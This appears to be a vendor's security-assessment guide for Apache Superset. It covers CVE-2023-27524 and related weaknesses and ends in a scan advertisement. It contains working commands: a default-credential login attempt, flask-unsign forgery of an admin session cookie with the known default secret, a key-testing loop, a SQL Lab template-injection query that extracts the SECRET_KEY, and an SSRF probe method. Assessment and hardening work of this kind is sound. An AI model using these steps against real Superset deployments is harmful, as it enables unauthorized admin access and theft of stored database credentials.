Apache Superset is a widely deployed open-source data visualization platform used for business intelligence dashboards. Its security profile includes several critical vulnerabilities: CVE-2023-27524 (CVSS 9.8) — Superset ships with a known default SECRET_KEY value (thisISaSECRET_1234) that was present in the default configuration for years; any Superset instance that deployed without changing this key is vulnerable to Flask session cookie forgery, granting admin access without valid credentials; default credentials admin/general on fresh installations that weren't changed; SQL Lab's Jinja2 templating feature allows template expressions in SQL queries that, when combined with the {{config}} object, can expose the Flask application configuration including the SECRET_KEY; database connection strings added to Superset are stored in the metadata database and the password field is encrypted with the application's SECRET_KEY — if the key is known, all database passwords are recoverable; and SSRF via the database connection test endpoint which can reach internal services. This guide covers systematic Superset security assessment.
# Superset default port: 8088
# Also deployed behind nginx on 80/443 with /superset/ prefix
# Check Superset availability and version
curl -s http://superset.example.com:8088/api/v1/openapi.json 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('info',{}).get('version','?'))" 2>/dev/null
# Try default credentials
curl -s -X POST http://superset.example.com:8088/api/v1/security/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"general","provider":"db"}' 2>/dev/null | \
python3 -c "
import json,sys
d = json.load(sys.stdin)
token = d.get('access_token','')
if token:
print(f'Auth SUCCESS — JWT: {token[:30]}...')
else:
print('Auth failed:', d.get('message','?'))
" 2>/dev/null
# CVE-2023-27524: Superset used default SECRET_KEY in docker-compose examples
# Known weak keys (still deployed in many instances):
# - thisISaSECRET_1234
# - YOUR_OWN_RANDOM_GENERATED_SECRET_KEY
# - CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
# Install flask-unsign to forge session cookies
# pip install flask-unsign
# Capture a legitimate session cookie (e.g., from public guest access if enabled)
# or use an unauthenticated guest token flow
# Forge an admin session cookie with the known default key
flask-unsign --sign \
--cookie "{'_fresh': True, '_id': 'attacker', 'user_id': 1}" \
--secret "thisISaSECRET_1234" 2>/dev/null | head -1
# Use the output as the 'session' cookie in requests to Superset
# Verify if target uses the default key (attempt to decode any session cookie)
# Get a session cookie by visiting /login (browser redirects create a session)
COOKIE="captured_session_cookie_here"
flask-unsign --decode --cookie "$COOKIE" 2>/dev/null | head -3
# Then try: flask-unsign --unsign --cookie "$COOKIE" --wordlist known_keys.txt
# Test with the known keys list
for KEY in "thisISaSECRET_1234" "YOUR_OWN_RANDOM_GENERATED_SECRET_KEY" "CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET"; do
RESULT=$(flask-unsign --verify --cookie "$COOKIE" --secret "$KEY" 2>/dev/null)
if [ "$RESULT" = "True" ]; then
echo "VULNERABLE: Secret key is '$KEY'"
break
fi
done
openssl rand -base64 42; this key encrypts all session cookies and database passwords — changing it invalidates all sessions and re-encrypts stored passwordsENABLE_TEMPLATE_PROCESSING = False in superset_config.py to prevent template injection in SQL queries| Security Test | Method | Risk |
|---|---|---|
| CVE-2023-27524 default SECRET_KEY session forgery | flask-unsign --verify with known default keys — forge admin session cookie if key matches | Critical |
| Default admin/general credentials | POST /api/v1/security/login with admin/general — check for access_token in response | Critical |
| SQL Lab Jinja2 template injection | Run: SELECT {{config["SECRET_KEY"]}} in SQL Lab — extracts Flask secret key if templating enabled | High |
| Database connection test SSRF | POST /api/v1/database/test_connection with SQLite URI pointing to internal host — probes internal services | High |
| Database passwords encrypted with known SECRET_KEY | If SECRET_KEY known from CVE-2023-27524, decrypt stored database passwords from metadata DB | High |
| Row-level security bypass via SQL Lab | Direct SQL query in SQL Lab bypasses chart-level RLS filters applied to dashboards | Medium |
Ironimo tests Apache Superset deployments for CVE-2023-27524 known default SECRET_KEY enabling Flask session cookie forgery for admin access, default admin/general credentials on fresh installations, SQL Lab Jinja2 template injection exposing Flask application configuration, database connection test endpoint SSRF probing internal services, database password recovery when SECRET_KEY is known from the default configuration, and row-level security bypass via direct SQL Lab access.
Start free scan